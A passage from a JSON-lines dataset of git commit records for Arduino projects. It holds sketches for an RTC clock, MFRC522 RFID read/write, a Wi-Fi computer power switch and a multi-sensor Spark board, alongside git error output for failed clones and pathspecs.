https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/philbowles\/esparto.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8f002e8305abe0dbd7ad64f2fc4b32ed23ca2c68","subject":"3254 Digital motion sensor sketch polls for data less often to prevent flooding the server.","message":"3254 Digital motion sensor sketch polls for data less often to prevent flooding the server.\n","repos":"myDevicesIoT\/Cayenne-Arduino-Library,myDevicesIoT\/Cayenne-Arduino-Library,myDevicesIoT\/Cayenne-Arduino-Library,myDevicesIoT\/Cayenne-Arduino-Library","old_file":"examples\/Sensors\/DigitalMotionSensor\/DigitalMotionSensor.ino","new_file":"examples\/Sensors\/DigitalMotionSensor\/DigitalMotionSensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/myDevicesIoT\/Cayenne-Arduino-Library.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"b83fe1a50ea051e004cc4ce334f44afa6094cdd7","subject":"Add getting_started example","message":"Add getting_started example\n","repos":"jvsalo\/pcf2123","old_file":"examples\/getting_started\/getting_started.ino","new_file":"examples\/getting_started\/getting_started.ino","new_contents":"\/*\n Demonstrates how to set and get time from the RTC.\n\n The type tmElements_t and functions like breakTime() are from\n the Time library.\n*\/\n\n#include <PCF2123.h>\n\nPCF2123 rtc(9); \/* Chip enable on pin 9 *\/\n\nvoid setup() {\n tmElements_t tm;\n Serial.begin(57600);\n\n Serial.println(\"Resetting RTC\");\n rtc.reset();\n\n Serial.println(\"Setting time to Tue, 08 Nov 2016 23:49:50\");\n\n \/* Convert Unix timestamp to tmElements_t *\/\n breakTime(1478648990, tm);\n rtc.time_set(&tm);\n}\n\n\/* Print human readable time *\/\nvoid print_time(tmElements_t t) {\n Serial.print(String(\"Year \") + (1970 + t.Year));\n Serial.print(String(\" Month \") + t.Month);\n Serial.print(String(\" Day \") + t.Day);\n Serial.print(String(\" Wday \") + t.Wday);\n Serial.print(String(\" Hour \") + t.Hour);\n Serial.print(String(\" Minute \") + t.Minute);\n Serial.print(String(\" Second \") + t.Second);\n Serial.print(\"\\n\");\n}\n\nvoid loop() {\n tmElements_t t;\n\n \/* Get and print current time *\/\n rtc.time_get(&t);\n print_time(t);\n\n \/* Print Unix timestamp *\/\n Serial.print(\"Unix time: \");\n Serial.println(makeTime(t));\n\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/getting_started\/getting_started.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"280f3c6fdd3479aa4c2c4f02bd40ba99c46185f0","subject":"Create ReadAndWrite.ino","message":"Create ReadAndWrite.ino\n\nis small sketch for read write . \r\ncomments in Italian and English .\r\nenjoy empty_skull ( Nicola Coppola )","repos":"northDacoder\/rfid,prikevs\/rfid,1upon0\/rfid,mirko314\/rfid,sophiekovalevsky\/rfid,miguelbalboa\/rfid,hramrach\/rfid,r44947\/rfid,Rotzbua\/rfid,irhastofa\/rfid,mangine\/mraa_MFRC522,lpr0lpd\/rfid,tamchau2809\/rfid,Rotzbua\/rfid,webdevbrian\/rfid,yaalsn\/rfid,LaloHao\/rfid,juantejedavz\/rfid,CapeSepias\/rfid,smallkid\/rfid","old_file":"examples\/MifareClassicValueBlock\/ReadAndWrite.ino","new_file":"examples\/MifareClassicValueBlock\/ReadAndWrite.ino","new_contents":"\/*\n * MFRC522 - Library to use ARDUINO RFID MODULE KIT 13.56 MHZ WITH TAGS SPI W AND R BY COOQROBOT.\n * The library file MFRC522.h has a wealth of useful info. Please read it.\n * The functions are documented in MFRC522.cpp.\n *\n * Based on code Dr.Leong ( WWW.B2CQSHOP.COM )\n * Created by Miguel Balboa (circuitito.com), Jan, 2012.\n * Rewritten by S\u00f8ren Thing Andersen (access.thing.dk), fall of 2013 (Translation to English, refactored, comments, anti collision, cascade levels.)\n * \n * Released into the public domain.\n *\n * This sample shows how to setup a block on a MIFARE Classic PICC to be in \"Value Block\" mode.\n * In Value Block mode the operations Increment\/Decrement\/Restore and Transfer can be used.\n * \n ----------------------------------------------------------------------------- empty_skull \n \n - Aggiunti pin per arduino Mega\n - Scritto semplice codice per la scrittura e lettura \n \n - add pin configuration for arduino mega\n - write simple read\/write Code for new entry user\n \n http:\/\/mac86project.altervista.org\/\n \n ----------------------------------------------------------------------------- Nicola Coppola\n * Pin layout should be as follows:\n * Signal Pin Pin Pin\n * Arduino Uno Arduino Mega MFRC522 board\n * ------------------------------------------------------------\n * Reset 9 5 RST\n * SPI SS 10 53 SDA\n * SPI MOSI 11 52 MOSI\n * SPI MISO 12 51 MISO\n * SPI SCK 13 50 SCK\n *\n * The reader can be found on eBay for around 5 dollars. Search for \"mf-rc522\" on ebay.com. \n *\/\n\n#include <SPI.h>\n#include <MFRC522.h>\n\n#define SS_PIN 53\n#define RST_PIN 5\nMFRC522 mfrc522(SS_PIN, RST_PIN); \/\/ Create MFRC522 instance.\n\nvoid setup() {\n Serial.begin(9600); \/\/ Initialize serial communications with the PC\n SPI.begin(); \/\/ Init SPI bus\n mfrc522.PCD_Init(); \/\/ Init MFRC522 card\n \/\/Serial.println(\"Scan a MIFARE Classic PICC to demonstrate Value Blocks.\");\n}\n\nvoid loop() {\n \n \/\/ Prepare key - all keys are set to FFFFFFFFFFFFh at chip delivery from the factory.\n MFRC522::MIFARE_Key key;\n for (byte i = 0; i < 6; i++) {\n key.keyByte[i] = 0xFF;\n }\n \/\/ Look for new cards\n if ( ! mfrc522.PICC_IsNewCardPresent()) {\n return;\n }\n\n \/\/ Select one of the cards\n if ( ! mfrc522.PICC_ReadCardSerial()) {\n return;\n }\n \/\/ Now a card is selected. The UID and SAK is in mfrc522.uid.\n \n \/\/ Dump UID\n Serial.print(\"Card UID:\");\n for (byte i = 0; i < mfrc522.uid.size; i++) {\n Serial.print(mfrc522.uid.uidByte[i] < 0x10 ? \" 0\" : \" \");\n Serial.print(mfrc522.uid.uidByte[i], HEX);\n } \n Serial.println();\n\n \/\/ Dump PICC type\n byte piccType = mfrc522.PICC_GetType(mfrc522.uid.sak);\n Serial.print(\"PICC type: \");\n Serial.println(mfrc522.PICC_GetTypeName(piccType));\n if ( piccType != MFRC522::PICC_TYPE_MIFARE_MINI \n && piccType != MFRC522::PICC_TYPE_MIFARE_1K\n && piccType != MFRC522::PICC_TYPE_MIFARE_4K) {\n \/\/Serial.println(\"This sample only works with MIFARE Classic cards.\");\n return;\n }\n \n \/\/ In this sample we use the second sector (ie block 4-7). the first sector is = 0\n \/\/ scegliere settore di lettura da 0 = primo settore \n byte sector = 1;\n \/\/ block sector 0-3(sector0) 4-7(sector1) 8-11(sector2)\n \/\/ blocchi di scrittura da 0-3(sector0) 4-7(sector1) 8-11(sector2)\n byte valueBlockA = 4;\n byte valueBlockB = 5;\n byte valueBlockC = 6;\n byte trailerBlock = 7;\n byte status;\n \/\/ Authenticate using key A.\n \/\/ avvio l'autentificazione A\n \/\/Serial.println(\"Authenticating using key A...\");\n status = mfrc522.PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, trailerBlock, &key, &(mfrc522.uid));\n if (status != MFRC522::STATUS_OK) {\n Serial.print(\"PCD_Authenticate() failed: \");\n Serial.println(mfrc522.GetStatusCodeName(status));\n return;\n }\n \/\/ Authenticate using key B.\n \/\/ avvio l'autentificazione B\n \/\/Serial.println(\"Authenticating again using key B...\");\n status = mfrc522.PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_B, trailerBlock, &key, &(mfrc522.uid));\n if (status != MFRC522::STATUS_OK) {\n Serial.print(\"PCD_Authenticate() failed: \");\n Serial.println(mfrc522.GetStatusCodeName(status));\n return;\n }\n \n \/\/ Writing new value block A\n \/\/ Scrivo i valori per il settore A\n Serial.println(\"Writing new value block A(4) : the first of the sector TWO \");\n byte value1Block[] = { 1,2,3,4, 5,6,7,8, 9,10,255,12, 13,14,15,16, valueBlockA,~valueBlockA,valueBlockA,~valueBlockA };\n status = mfrc522.MIFARE_Write(valueBlockA, value1Block, 16);\n if (status != MFRC522::STATUS_OK) {\n Serial.print(\"MIFARE_Write() failed: \");\n Serial.println(mfrc522.GetStatusCodeName(status));\n }\n \/*\n \n \/\/ Writing new value block B\n \/\/ Scrivo i valori per il settore B\n Serial.println(\"Writing new value block B\");\n byte value2Block[] = { 255,255,255,255, 0,0,0,0, 0,0,0,0, 255,255,255,255, valueBlockB,~valueBlockB,valueBlockB,~valueBlockB };\n status = mfrc522.MIFARE_Write(valueBlockB, value2Block, 16);\n if (status != MFRC522::STATUS_OK) {\n Serial.print(\"MIFARE_Write() failed: \");\n Serial.println(mfrc522.GetStatusCodeName(status));\n }\n \n \/\/ Writing new value block D\n \/\/ Scrivo i valori per il settore C\n Serial.println(\"Writing new value block C\");\n byte value3Block[] = { 255,255,255,255, 0,0,0,0, 0,0,0,0, 255,255,255,255, valueBlockC,~valueBlockC,valueBlockC,~valueBlockC };\n status = mfrc522.MIFARE_Write(valueBlockC, value3Block, 16);\n if (status != MFRC522::STATUS_OK) {\n Serial.print(\"MIFARE_Write() failed: \");\n Serial.println(mfrc522.GetStatusCodeName(status));\n }\n \n *\/\n \n \n Serial.println(\"Read block A(4) : the first of the sector TWO\"); \n byte buffer[18];\n byte size = sizeof(buffer);\n \/\/ change this: valueBlockA , for read anather block\n \/\/ cambiate valueBlockA per leggere un altro blocco\n status = mfrc522.MIFARE_Read(valueBlockA, buffer, &size);\n Serial.print(\"Settore : 0 Valore :\");\n Serial.println(buffer[0]);\n Serial.print(\"Settore : 1 Valore :\");\n Serial.println(buffer[1]);\n Serial.print(\"Settore : 2 Valore :\");\n Serial.println(buffer[2]);\n Serial.print(\"Settore : 3 Valore :\");\n Serial.println(buffer[3]);\n Serial.print(\"Settore : 4 Valore :\");\n Serial.println(buffer[4]);\n Serial.print(\"Settore : 5 Valore :\");\n Serial.println(buffer[5]);\n Serial.print(\"Settore : 6 Valore :\");\n Serial.println(buffer[6]);\n Serial.print(\"Settore : 7 Valore :\");\n Serial.println(buffer[7]);\n Serial.print(\"Settore : 8 Valore :\");\n Serial.println(buffer[8]);\n Serial.print(\"Settore : 9 Valore :\");\n Serial.println(buffer[9]);\n Serial.print(\"Settore :10 Valore :\");\n Serial.println(buffer[10]);\n Serial.print(\"Settore :11 Valore :\");\n Serial.println(buffer[11]);\n Serial.print(\"Settore :12 Valore :\");\n Serial.println(buffer[12]);\n Serial.print(\"Settore :13 Valore :\");\n Serial.println(buffer[13]);\n Serial.print(\"Settore :14 Valore :\");\n Serial.println(buffer[14]);\n Serial.print(\"Settore :15 Valore :\");\n Serial.println(buffer[15]);\n \n \n \n \/\/byte value1Block[] = { 1,2,3,4, 5,6,7,8, 9,10,255,12, 13,14,15,16, valueBlockA,~valueBlockA,valueBlockA,~valueBlockA };\n if ( \n buffer[0] == 1 &&\n buffer[1] == 2 && \n buffer[2] == 3 && \n buffer[3] == 4 &&\n buffer[4] == 5 &&\n buffer[5] == 6 &&\n buffer[6] == 7 &&\n buffer[7] == 8 &&\n buffer[8] == 9 &&\n buffer[9] == 10 &&\n buffer[10] == 255 &&\n buffer[11] == 12 &&\n buffer[12] == 13 &&\n buffer[13] == 14 &&\n buffer[14] == 15 &&\n buffer[15] == 16 \n ){\n \n \/\/ sel a scrittura \u00e8 uguale alla lettura allora e stato un successo !! \n Serial.println(\"Read block A(4) : the first of the sector TWO : success\"); \n Serial.println(\":-)\"); \n \n }else{\n \n \/\/ scrittura Fallita\n Serial.println(\"Read block A(4) : the first of the sector TWO : no match - write don't work fine \");\n Serial.println(\":-( \"); \n \n }\n \n \n \/\/ risponde successo\n \/\/Serial.println(mfrc522.GetStatusCodeName(status));\n \n \/\/ Dump the result\n \/\/mfrc522.PICC_DumpMifareClassicSectorToSerial(&(mfrc522.uid), &key, sector);\n \n \/\/ Halt PICC\n mfrc522.PICC_HaltA();\n\n \/\/ Stop encryption on PCD\n mfrc522.PCD_StopCrypto1();\n \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MifareClassicValueBlock\/ReadAndWrite.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"72e1dae0feefb9e125b5c71e6431fe816217ed44","subject":"imital computer switch","message":"imital computer switch\n","repos":"1n5aN1aC\/HouseESP","old_file":"Computer_Switch\/Computer_Switch.ino","new_file":"Computer_Switch\/Computer_Switch.ino","new_contents":"\/\/----------------------------------------------------------------------------------------------------------------\n\/\/ Computer_Switch.ino\n\/\/ \n\/\/ This sketch is designed to run on a WeMos D1 mini. Other controllers may require extensive tweaking.\n\/\/\n\/\/ This runs a small webserver hosting a tiny API to remotely power on or off a computer\n\/\/ Also supports a rely to electrically isolate the server.\n\/\/\n\/\/ Author - Joshua Villwock\n\/\/ Created - 2019-05-28\n\/\/ License - Mozilla Public License 2.0 (Do what you want, credit the author, must release under same license)\n\/\/----------------------------------------------------------------------------------------------------------------\n\n\/\/ Import required libraries\n#include <ESP8266WiFi.h>\n#include <aREST.h>\nextern \"C\" {\n #include \"user_interface.h\"\n}\n\n\/\/ Create aREST instance\naREST rest = aREST();\n\n\/\/ WiFi parameters\nconst char* ssid = \"joshua\";\nconst char* password = \"\";\n\n\/\/ The port to listen for incoming TCP connections\n#define LISTEN_PORT 80\n\n\/\/ Create an instance of the server\nWiFiServer server(LISTEN_PORT);\n\n\/\/ Variables to be exposed to the API\nint relayOn;\n\n\/\/ Declare functions to be exposed to the API\nint powerOn(String command);\nint flashLed(String command);\nint hardReset(String command);\n\nvoid setup(void)\n{\n \/\/ Start Serial\n Serial.begin(115200);\n WiFi.mode(WIFI_STA);\n WiFi.hostname(\"ESP_EIDOLON_IPMI\");\n wifi_station_set_hostname(\"ESP_EIDOLON_IPMI\");\n delay(100);\n\n \/\/ Init variables and expose them to REST API\n relayOn = 0;\n rest.variable(\"relayOn\",&relayOn);\n\n \/\/ Function to be exposed\n rest.function(\"power\",powerOn);\n rest.function(\"led\",flashLed);\n rest.function(\"reset\",hardReset);\n\n \/\/ Give name & ID to the device (ID should be 6 characters long)\n rest.set_id(\"1\");\n rest.set_name(\"ESP_EIDOLON_IPMI\");\n\n \/\/ Connect to WiFi\n WiFi.begin(ssid, password);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n\n \/\/ Start the server\n server.begin();\n Serial.println(\"Server started\");\n\n \/\/ Print the IP address\n Serial.println(WiFi.localIP());\n\n pinMode(LED_BUILTIN, OUTPUT);\n pinMode(D4, INPUT);\n}\n\nvoid loop() {\n \/\/ Handle REST calls\n WiFiClient client = server.available();\n if (!client) {\n return;\n }\n while(!client.available()){\n delay(1);\n }\n rest.handle(client);\n}\n\n\/\/ Custom function accessible by the API\nint flashLed(String command) {\n digitalWrite(LED_BUILTIN, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(LED_BUILTIN, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n digitalWrite(LED_BUILTIN, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(LED_BUILTIN, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n return 1;\n}\n\n\/\/ Custom function accessible by the API\nint powerOn(String command) {\n pinMode(D4, OUTPUT);\n digitalWrite(D4,LOW);\n delay(1500);\n digitalWrite(D4,HIGH);\n pinMode(D4, INPUT);\n return 1;\n}\n\n\/\/ Custom function accessible by the API\nint hardReset(String command) {\n pinMode(D4, OUTPUT);\n digitalWrite(D4,LOW);\n delay(6000);\n digitalWrite(D4,HIGH);\n pinMode(D4, INPUT);\n return 1;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Computer_Switch\/Computer_Switch.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"4f45e79c2dbcc3972eb8f7e25426a3ecec9d1f9b","subject":"Added comments","message":"Added comments\n\nThere is a discrepancy between the wiring as shown in the schematic vs the ones in the demonstration. I hope these comments will reduce any confusion.\r\n\r\nThank you to Steve Miller for spotting the descrepancy.","repos":"iNNPL\/arduino_sbs,merbok\/arduino_sbs,iNNPL\/arduino_sbs,futureshocked\/arduino_sbs,merbok\/arduino_sbs,futureshocked\/arduino_sbs,futureshocked\/arduino_sbs","old_file":"Shift Registers\/shiftRegisters_Demo2\/shiftRegisters_Demo2.ino","new_file":"Shift Registers\/shiftRegisters_Demo2\/shiftRegisters_Demo2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Shift' did not match any file(s) known to git\nerror: pathspec 'Registers\/shiftRegisters_Demo2\/shiftRegisters_Demo2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6625278bc1771f6f0b5521fe1154c25279e01a0f","subject":"Initial Upload","message":"Initial Upload\n\nInitial Upload\n","repos":"foxfire-online\/RUSK-r002","old_file":"rusk-r002.ino","new_file":"rusk-r002.ino","new_contents":"\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"FOXFIRE_EmonLib\/FOXFIRE_EmonLib.h\"\n\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"FOXFIRE_BMP085\/FOXFIRE_BMP085.h\"\n\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"FOXFIRE_Si70xx\/FOXFIRE_Si70xx.h\"\n\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"FOXFIRE_Si1132\/FOXFIRE_Si1132.h\"\n\n\/\/ This #include statement was automatically added by the Spark IDE.\n#include \"FOXFIRE_MPU6050\/FOXFIRE_MPU6050.h\"\n\n\/\/********************************************************************************\n\/\/********************************************************************************\n\/\/********************************************************************************\n\n\/\/ Initialize application variables\nint SENSORDELAY = 5000; \/\/ milliseconds (runs x1)\nint EVENTSDELAY = 1000; \/\/ milliseconds (runs x10)\nint SLEEP_DELAY = 45; \/\/ seconds (runs x1) - should get about 24 hours on 2100mAH - 0 to disable\nString SLEEP_DELAY_MIN = \"15\"; \/\/ seconds - easier to store as string then convert to int\nString SLEEP_DELAY_STATUS = \"OK\"; \/\/ always OK to start with\n\nint I2CEN = D2;\nint ALGEN = D3;\nint LED = D7;\n\nint SOUND = A1;\nint SOUNDV = 0; \/\/Raw Peak-to-Peak Level\/Amplitude\n\nint POWR1 = A2;\nint POWR2 = A3;\nint POWR3 = A4;\ndouble POWR1V = 0; \/\/Watts\ndouble POWR2V = 0; \/\/Watts\ndouble POWR3V = 0; \/\/Watts\n\nint SOILT = A6;\nint SOILTV = 0; \/\/Raw 0-4095\n\nint SOILH = A7;\nint SOILHV = 0; \/\/Raw 0-4095\n\nbool BMP180OK = false;\nfloat BMP180Pressure = 0; \/\/hPa\nfloat BMP180Temperature = 0; \/\/Celsius\nfloat BMP180Altitude = 0; \/\/Meters\n\nbool Si7020OK = false;\nfloat Si7020Temperature = 0; \/\/Celsius\nfloat Si7020Humidity = 0; \/\/%Relative Humidity\n\nbool Si1132OK = false;\nfloat Si1132UVIndex = 0; \/\/UV Index scoring is as follows: 1-2 -> Low, 3-5 -> Moderate, 6-7 -> High, 8-10 -> Very High, 11+ -> Extreme\nfloat Si1132Visible = 0; \/\/Lux\nfloat Si1132InfraRd = 0; \/\/Lux\n\nbool ACCELOK = false;\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\n\n\/\/********************************************************************************\n\/\/********************************************************************************\n\/\/********************************************************************************\n\n\/\/ Initialize cloud API float-to-string-hack\n\/\/ https:\/\/community.spark.io\/t\/get-reads-all-return-same-variable-value\/1290\/7\n\/\/ These values are mapped and updated in the postSensingVariableMap() function\nchar Sound[63] = \"0\";\nchar Power[63] = \"0.00 0.00 0.00\";\nchar SoilTnH[63] = \"0 0\";\nchar PreTAlt[63] = \"0.00 0.00 0.00\";\nchar AmbiTnH[63] = \"0.00 0.00\";\nchar UVVisIR[63] = \"0.00 0.00 0.00\";\nchar AcclXYZ[63] = \"0 0 0\";\nchar GyroXYZ[63] = \"0 0 0\";\n\n\/\/********************************************************************************\n\/\/********************************************************************************\n\/\/********************************************************************************\n\n\/\/ Power\nEnergyMonitor emon1;\nEnergyMonitor emon2;\nEnergyMonitor emon3;\n\n\/\/ Weather\nAdafruit_BMP085_Unified bmp180 = Adafruit_BMP085_Unified(10085);\nFOXFIRE_Si70xx si7020;\nFOXFIRE_Si1132 si1132;\n\n\/\/ MPU6050\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 mpu6050(0x68);\n\n\/\/********************************************************************************\n\/\/********************************************************************************\n\/\/********************************************************************************\n\n\/*\nfloat mapFloat(float x, float in_min, float in_max, float out_min, float out_max)\n{\n return (x - in_min) * (out_max - out_min) \/ (in_max - in_min) + out_min;\n}\n*\/\n\nvoid setPinsMode() {\n pinMode(I2CEN, OUTPUT);\n pinMode(ALGEN, OUTPUT);\n pinMode(LED, OUTPUT);\n\n pinMode(POWR1, INPUT);\n pinMode(POWR2, INPUT);\n pinMode(POWR3, INPUT);\n\n pinMode(SOILT, INPUT);\n pinMode(SOILH, INPUT);\n}\n\nint setSleepDelay(String SLEEP_DELAY_STR) {\n if (SLEEP_DELAY_STR.toInt() > SLEEP_DELAY_MIN.toInt())\n {\n SLEEP_DELAY = SLEEP_DELAY_STR.toInt();\n SLEEP_DELAY_STATUS = \"OK\";\n return SLEEP_DELAY;\n }\n else\n {\n SLEEP_DELAY_STATUS = \"SLEEP DELAY VALUE MUST BE GREATER THAN \" + SLEEP_DELAY_MIN + \" SECONDS\";\n return -1;\n }\n}\n\nint readSoundLevel() {\n unsigned int sampleWindow = 50; \/\/ Sample window width in milliseconds (50 milliseconds = 20Hz)\n unsigned long endWindow = millis() + sampleWindow; \/\/ End of sample window\n\n unsigned int signalSample = 0;\n unsigned int signalMin = 1024; \/\/ Minimum is the lowest signal below which we assume silence\n unsigned int signalMax = signalMin; \/\/ Maximum signal starts out the same as the Minimum signal\n\n \/\/ collect data for milliseconds equal to sampleWindow\n while (millis() < endWindow)\n {\n signalSample = analogRead(SOUND);\n if (signalSample > signalMax)\n {\n signalMax = signalSample; \/\/ save just the max levels\n }\n else if (signalSample < signalMin)\n {\n signalMin = signalSample; \/\/ save just the min levels\n }\n }\n\n SOUNDV = signalMax - signalMin; \/\/ max - min = peak-peak amplitude\n\n return 1;\n}\n\nint readPower() {\n \/\/ If voltage is fixed, e.g. 240V,\n \/\/ and resistance is known\/assumed,\n \/\/ then the only variation is amperage.\n POWR1V = (emon1.calcIrms(1480) * 1000); \/\/Watts\n POWR2V = (emon2.calcIrms(1480) * 1000); \/\/Watts\n POWR3V = (emon3.calcIrms(1480) * 1000); \/\/Watts\n\n return 1;\n}\n\nint readSoilTemperature() {\n SOILTV = analogRead(SOILT);\n\n return 1;\n}\n\nint readSoilHumidity() {\n SOILHV = analogRead(SOILH);\n\n return 2;\n}\n\nint readWeatherBMP180() {\n if (BMP180OK)\n {\n \/* Get a new sensor event *\/\n sensors_event_t event;\n bmp180.getEvent(&event);\n\n \/\/ Read weather measurements from device\n if (event.pressure)\n {\n BMP180Pressure = event.pressure;\n\n \/* First we get the current temperature from the BMP085 *\/\n bmp180.getTemperature(&BMP180Temperature);\n\n \/* Then convert the atmospheric pressure, SLP and temp to altitude *\/\n \/* Update this next line with the current SLP for better results *\/\n float seaLevelPressure = SENSORS_PRESSURE_SEALEVELHPA;\n BMP180Altitude = bmp180.pressureToAltitude(seaLevelPressure, BMP180Pressure, BMP180Temperature);\n }\n }\n\n return BMP180OK ? 1 : 0;\n}\n\nint readWeatherSi7020() {\n if (Si7020OK)\n {\n Si7020Temperature = si7020.readTemperature();\n Si7020Humidity = si7020.readHumidity();\n }\n\n return Si7020OK ? 2 : 0;\n}\n\nint readWeatherSi1132() {\n if (Si1132OK)\n {\n Si1132UVIndex = si1132.readUV() \/ 100;\n Si1132Visible = si1132.readVisible();\n Si1132InfraRd = si1132.readIR();\n }\n\n return Si1132OK ? 3 : 0;\n}\n\nint readMotion() {\n if (ACCELOK)\n {\n \/\/ read raw accel\/gyro measurements from device\n mpu6050.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n }\n\n return ACCELOK ? 1 : 0;\n}\n\nvoid postSensingVariableMap() {\n sprintf(Sound, \"%i\", SOUNDV);\n sprintf(Power, \"%.2f %.2f %.2f\", POWR1V, POWR2V, POWR3V);\n sprintf(SoilTnH, \"%i %i\", SOILTV, SOILHV);\n sprintf(PreTAlt, \"%.2f %.2f %.2f\", BMP180Pressure, BMP180Temperature, BMP180Altitude);\n sprintf(AmbiTnH, \"%.2f %.2f\", Si7020Temperature, Si7020Humidity);\n sprintf(UVVisIR, \"%.2f %.2f %.2f\", Si1132UVIndex, Si1132Visible, Si1132InfraRd);\n sprintf(AcclXYZ, \"%i %i %i\", ax, ay, az);\n sprintf(GyroXYZ, \"%i %i %i\", gx, gy, gz);\n}\n\nvoid postSensingEventPublish() {\n \/\/ Publish update events\n \/\/ --> up to a burst of 4 at rate of 1 per second\n \/\/ --> testing delay of 1.0 seconds after each event\n Spark.publish(\"Ready\", NULL, String(EVENTSDELAY \/ 1000).toInt() * 8, PRIVATE); delay(EVENTSDELAY);\n Spark.publish(\"Sound\", String(Sound), SLEEP_DELAY, PRIVATE); delay(EVENTSDELAY);\n Spark.publish(\"Power\", String(Power), SLEEP_DELAY, PRIVATE); delay(EVENTSDELAY);\n Spark.publish(\"SoilTnH\", String(SoilTnH), SLEEP_DELAY, PRIVATE); delay(EVENTSDELAY);\n Spark.publish(\"PreTAlt\", String(PreTAlt), SLEEP_DELAY, PRIVATE); delay(EVENTSDELAY);\n Spark.publish(\"AmbiTnH\", String(AmbiTnH), SLEEP_DELAY, PRIVATE); delay(EVENTSDELAY);\n Spark.publish(\"UVVisIR\", String(UVVisIR), SLEEP_DELAY, PRIVATE); delay(EVENTSDELAY);\n Spark.publish(\"AcclXYZ\", String(AcclXYZ), SLEEP_DELAY, PRIVATE); delay(EVENTSDELAY);\n Spark.publish(\"GyroXYZ\", String(GyroXYZ), SLEEP_DELAY, PRIVATE); delay(EVENTSDELAY);\n}\n\n\/\/********************************************************************************\n\/\/********************************************************************************\n\/\/********************************************************************************\n\nvoid setup() {\n \/\/ Open serial over USB\n Serial.begin(9600);\n\n \/\/ Sets the I2C clock speed\n \/\/Wire.setSpeed(CLOCK_SPEED_400KHZ);\n\n \/\/ Initialize IO pins\n setPinsMode();\n\n \/\/ Initialize cloud API variables\n Spark.variable(\"Sound\", &Sound, STRING);\n Spark.variable(\"Power\", &Power, STRING);\n Spark.variable(\"SoilTnH\", &SoilTnH, STRING);\n Spark.variable(\"PreTAlt\", &PreTAlt, STRING);\n Spark.variable(\"AmbiTnH\", &AmbiTnH, STRING);\n Spark.variable(\"UVVisIR\", &UVVisIR, STRING);\n Spark.variable(\"AcclXYZ\", &AcclXYZ, STRING);\n Spark.variable(\"GyroXYZ\", &GyroXYZ, STRING);\n\n \/\/ Initialize cloud API functions\n Spark.function(\"sleepDelay\", setSleepDelay);\n}\n\nvoid loop(void) {\n if (Spark.connected())\n {\n Serial.print(\"RUSK --> Device --> \"); Serial.println(Spark.deviceID());\n\n \/\/********************************************************************************\n \/\/********************************************************************************\n \/\/********************************************************************************\n\n \/\/ Power up sensors\n digitalWrite(I2CEN, HIGH);\n digitalWrite(ALGEN, HIGH);\n\n \/\/ Initialize BMP180\n BMP180OK = bmp180.begin();\n \/\/ Initialize Si7020\n Si7020OK = si7020.begin();\n \/\/ Initialize Si1132\n Si1132OK = si1132.begin();\n \/\/ Initialize MPU6050 and verify connection\n mpu6050.initialize();\n ACCELOK = mpu6050.testConnection();\n\n \/\/ Allow sensors to warm up\n delay(SENSORDELAY);\n\n \/\/********************************************************************************\n \/\/********************************************************************************\n \/\/********************************************************************************\n\n Serial.print(\"RUSK --> Sound --> \"); Serial.println(readSoundLevel());\n Serial.print(\"SoundNw:\\t\"); Serial.println(SOUNDV);\n\n Serial.print(\"RUSK --> Power --> \"); Serial.println(readPower());\n Serial.print(\"WattsNw:\\t\");\n Serial.print(POWR1V); Serial.print(\"\\t\");\n Serial.print(POWR2V); Serial.print(\"\\t\");\n Serial.println(POWR3V);\n\n Serial.print(\"RUSK --> Soil --> \"); Serial.println(readSoilTemperature() + readSoilHumidity());\n Serial.print(\"SoilTem:\\t\"); Serial.println(SOILTV);\n Serial.print(\"SoilHum:\\t\"); Serial.println(SOILHV);\n\n \/\/********************************************************************************\n \/\/********************************************************************************\n \/\/********************************************************************************\n\n Serial.print(\"RUSK --> Weather --> \"); Serial.println(readWeatherBMP180() + readWeatherSi7020() + readWeatherSi1132());\n\n \/\/ display values\n Serial.print(\"BMPTemp:\\t\"); Serial.println(BMP180Temperature);\n Serial.print(\"BMPPres:\\t\"); Serial.println(BMP180Pressure);\n Serial.print(\"BMPAlti:\\t\"); Serial.println(BMP180Altitude);\n Serial.print(\"AirTemp:\\t\"); Serial.println(Si7020Temperature);\n Serial.print(\"AirHumi:\\t\"); Serial.println(Si7020Humidity);\n Serial.print(\"UVIndx0:\\t\"); Serial.println(Si1132UVIndex);\n Serial.print(\"Visible:\\t\"); Serial.println(Si1132Visible);\n 